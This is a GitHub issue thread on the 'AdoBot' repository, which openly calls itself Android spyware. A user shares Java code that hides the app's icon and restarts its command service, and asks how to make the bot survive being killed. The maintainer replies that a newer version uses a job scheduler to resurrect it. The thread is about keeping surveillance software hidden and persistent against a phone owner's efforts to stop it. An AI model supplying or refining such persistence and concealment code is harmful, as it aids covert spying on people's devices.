adonespitogo / AdoBot

Open-source android spyware
MIT License
789 stars 310 forks source link

Bot Dies no Ressurrection #10

Open buffer1900 opened 6 years ago

buffer1900 commented 6 years ago

I tried Killing it and waited for some minutes nothing 30 minutes bot is offline,, i have tried this : PackageManager i = getApplicationContext().getPackageManager(); i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

    if(isMyServiceRunning()==false)
    {
        startService(new Intent(getApplicationContext(), CommandService.class));
        Log.i("com.android.adobot","startService");

private boolean isMyServiceRunning() { ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE); for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) { if (CommandService.class.getName().equals(service.service.getClassName())) { return true; } } return false; }

nothing works
Bot offline. How i wish its able to auto start after killing that's apply same as the phone shutting down then restarts so the app auto starts.

adonespitogo commented 5 years ago

Try the new version of this app. I used job scheduler to resurrect the app. Let me know your results.